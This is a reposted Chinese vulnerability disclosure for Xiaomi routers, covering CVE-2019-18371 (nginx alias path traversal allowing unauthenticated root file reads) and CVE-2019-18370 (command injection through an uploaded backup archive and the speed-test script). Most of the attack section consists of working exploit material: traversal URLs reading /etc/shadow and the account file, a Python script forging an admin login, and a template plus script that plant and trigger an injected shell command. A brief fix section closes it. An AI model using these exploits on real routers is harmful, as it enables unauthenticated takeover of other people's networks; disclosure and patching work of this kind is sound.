[转]小米系列路由器远程命令执行漏洞（CVE-2019-18370，CVE-2019-18371）
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小米系列路由器远程命令执行漏洞（CVE-2019-18370，CVE-2019-18371）

discoverer: UltramanGaia from Kap0k & Zhiniang Peng from 360 Core Security

漏洞发现时间：2019-03-09

漏洞影响范围

在小米系列路由器（最新版开发版/稳定版）中存在漏洞，可以实现无需登录，任意远程命令执行。

远程任意文件读取漏洞（CVE-2019-18371）

小米路由器的nginx配置文件错误，导致目录穿越漏洞，实现任意文件读取（无需登录）

nginx配置不当可导致目录穿越漏洞， 

location /xxx {
alias /abc/;
}

可通过访问 

http://domain.cn/xxx../etc/passwd

实现目录穿越访问上级目录及其子目录文件。

在小米路由器的文件 

/etc/sysapihttpd/sysapihttpd.conf

中，存在 

location /api-third-party/download/extdisks {
alias /extdisks/;
}

故可以任意文件读取根目录下的所有文件，而且是root权限，如访问http://192.168.31.1/api-third-party/download/extdisks../etc/shadow

类似的问题，存在多处如 

location /backup/log {
alias /tmp/syslogbackup/;
}
location /api-third-party/download/public {
alias /userdisk/data/;
}
location /api-third-party/download/private {
alias /userdisk/appdata/;
}

通过任意文件读取，登录路由器后台

不是明文存储密码，进行一定分析。关注两个过程，一是登录时前端js生成http post请求参数过程，二是验证用户登陆的后端过程。

  • 登录时前端js生成http post请求参数过程 

    var Encrypt = {
key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
iv: '64175472480004614961023454661220',
nonce: null,
init: function(){
var nonce = this.nonceCreat();
this.nonce = nonce;
return this.nonce;
},
nonceCreat: function(){
var type = 0;
// 自己的mac地址
var deviceId = '<%=mac%>';
var time = Math.floor(new Date().getTime() / 1000);
var random = Math.floor(Math.random() * 10000);
return [type, deviceId, time, random].join('_');
},
oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
},
//...
};

    可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))，登陆请求包为 

    POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1
username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248

  • 验证用户登陆的后端过程

    调用XQSecureUtil.checkUser函数 

    function checkUser(user, nonce, encStr)
-- 从xiaoqiang 配置文件中读取信息
local password = XQPreference.get(user, nil, "account")
if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
if XQCryptoUtil.sha1(nonce..password) == encStr then
return true
end
end
XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
return false
end

    跟进XQPreference.get函数易知道是从/etc/config/account文件中读取某个字符串，这里称它为accountStr。

    checkUser函数判断等式为(encStr为参数oldPwd) 

    sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
==
sha1(nonce + accountStr)

    则 

    accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

    故，只需要读取/etc/config/account得到accountStr即可构造如下数据包登陆 

    POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1
username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248

实现任意登陆poc

arbitrary_file_read_vulnerability.py 

import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
def get_mac():
## get mac
r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
# print(mac)
return mac
def get_account_str():
## read /etc/config/account
r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
print(r1.text)
account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
return account_str
def create_nonce(mac):
type_ = 0
deviceId = mac
time_ = int(time.time())
rand = random.randint(0,10000)
return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)
def calc_password(nonce, account_str):
m = hashlib.sha1()
m.update((nonce + account_str).encode('utf-8'))
return m.hexdigest()
mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login",
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

可以获取到登录的stok。

远程命令执行漏洞（root权限）（CVE-2019-18370）

备份文件是tar.gz格式的，上传后tar zxf解压，所以构造备份文件，可以控制解压目录的文件内容，结合测试上传下载速度功能的sh脚本执行时读取测试url列表文件，并将url部分直接进行命令拼接执行。

  • 备份文件解压导致/tmp/目录任意文件可控

    在/usr/lib/lua/luci/controller/api/misystem.lua中，配置文件功能如下 

function cUpload()
local LuciFs = require("luci.fs")
local XQBackup = require("xiaoqiang.module.XQBackup")
local code = 0
local canupload = true
local uploadFilepath = "/tmp/cfgbackup.tar.gz"
local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
if fileSize > 102400 then
canupload = false
end
LuciHttp.setfilehandler(
function(meta, chunk, eof)
if canupload then
if not fp then
if meta and meta.name == "image" then
fp = io.open(uploadFilepath, "w")
end
end
if chunk then
fp:write(chunk)
end
if eof then
fp:close()
end
else
code = 1630
end
end
)
if LuciHttp.formvalue("image") and fp then
code = 0
end
local result = {}
if code == 0 then
local ext = XQBackup.extract(uploadFilepath)
if ext == 0 then
result["des"] = XQBackup.getdes()
else
code = 1629
end
end
if code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(code)
LuciFs.unlink(uploadFilepath)
end
result["code"] = code
LuciHttp.write_json(result)
end

其中调用XQBackup.extract(uploadFilepath)进行解压 

-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
local fs = require("nixio.fs")
local tarpath = filepath
if not tarpath then
tarpath = TARMBUFILE
end
if not fs.access(tarpath) then
return 1
end
os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
if not fs.access(DESFILE) then
return 2
end
if not fs.access(MBUFILE) then
return 3
end
return 0
end

可知，/tmp目录下的任意文件可控

  • /usr/bin/upload_speedtest,/usr/bin/download_speedtest等会读取/tmp/speedtest_urls.xml并提取url直接进行命令拼接，且这几个脚本可以通过web接口调用

举例，查看/usr/bin/download_speedtest文件 

#!/usr/bin/env lua
-- ...
local cfg = {
-- ...
['xmlfile'] = "/usr/share/speedtest.xml",
['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
VERSION="__UNDEFINED__"
-- ...
-- 测试网速使用的url文件为，若存在/tmp/speedtest_urls.xml则使用，否则用/usr/share/speedtest.xml
local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
filexml:close()
filename = cfg.tmp_speedtest_xml
else
filename = cfg.xmlfile
end
local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}
-- ...
function wget_work(url)
local _url = url
pid = posix.fork()
if pid < 0 then
print("fork error")
return -1
elseif pid > 0 then
--print(string.format("child pid %d\n", pid))
else
-- 拼接命令，最终在这里执行
os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url  ..
" -q -O /dev/null; done")
end
return pid
end
while line do
-- 从文件中提取url， 这里提取没有进行过滤
local _, _, url = string.find(line,'<item url="(.*)"/>')
if url then
table.insert(resources, url)
end
line = pp:read("*line")
end
pp:close()
local urls = mrandom(1, table.getn(resources), cfg.nc)
for k, v in ipairs(urls) do
if VERSION == "LESSMEM" then
local pid = wget_work_loop(resources[v])
else
-- VERSION 为 __UNDEFINED__， url直接作为参数
local pid = wget_work(resources[v])
end
if(pid == 0) then
os.exit(0)
elseif(pid == -1) then
done()
end
end

调用的地方貌似有好几个，其中/usr/lib/lua/luci/controller/api/xqnetdetect.lua中 

function netspeed()
local XQPreference = require("xiaoqiang.XQPreference")
local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest")
local code = 0
local result = {}
local history = LuciHttp.formvalue("history")
if history then
result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang"))
result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth))
result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang"))
result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2))
else
os.execute("/etc/init.d/miqos stop")
-- 这里调用了downloadSpeedTest
local download = XQNSTUtil.downloadSpeedTest()
if download then
result["download"] = download
result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024))
XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang")
else
code = 1588
end
if code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(code)
end
os.execute("/etc/init.d/miqos start")
end
result["code"] = code
LuciHttp.write_json(result)
end
function downloadSpeedTest()
local speedtest = "/usr/bin/download_speedtest"
local speed
-- 直接调用sh文件
for _, line in ipairs(LuciUtil.execl(speedtest)) do
if not XQFunction.isStrNil(line) and line:match("^avg rx:") then
speed = line:match("^avg rx:(%S+)")
if speed then
speed = tonumber(string.format("%.2f",speed/8))
end
break
end
end
return speed
end

所以，我们只需要构造恶意的speedtest_urls.xml文件，构造备份文件，上传备份文件，然后调用网络测试相关的接口，即可以实现命令注入。

实现命令执行poc

template.xml文件 

<?xml version="1.0"?>
<root>
<class type="1">
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
</class>
<class type="2">
<item url="http://192.168.31.1 -q -O /dev/null;{command}>/tmp/1.txt; exit; wget http://192.168.31.1  "/>
</class>
<class type="3">
<item uploadurl="http://www.taobao.com/"/>
<item uploadurl="http://www.so.com/"/>
<item uploadurl="http://www.qq.com/"/>
<item uploadurl="http://www.sohu.com/"/>
<item uploadurl="http://www.tudou.com/"/>
<item uploadurl="http://www.360doc.com/"/>
<item uploadurl="http://www.kankan.com/"/>
<item uploadurl="http://www.speedtest.cn/"/>
</class>
</root>

remote_command_execution_vulnerability.py 

import os
import tarfile
import requests
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
## get stok
stok = input("stok: ")
## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt") as f:
template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
f.write(data)
with tarfile.open("payload.tar.gz", "w:gz") as tar:
# tar.add("cfg_backup.des")
# tar.add("cfg_backup.mbu")
tar.add("speedtest_urls.xml")
## upload config file
print("start uploading config file ...")
r1 = requests.post("http://192.168.31.1/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)
## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://192.168.31.1/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)
## read result file
r3 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
print("success, vul")
print(r3.text)

结合二者，无需登录远程命令执行

经测试，在小米系列路由器中存在该漏洞，如小米路由器R3G、小米路由器R3A、小米路由器R4等

修复方案

任意文件读取

将/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改为 

location /xxx {
alias /abc/;
}

修改为 

location /xxx/ {
alias /abc/;
}

远程命令执行

  1. 将备份文件格式修改为特定格式，直接读取备份文件内容，而不需使用解压

  2. 从speedtest_urls.xml中读取urls时，进行必要的过滤，防止命令注入

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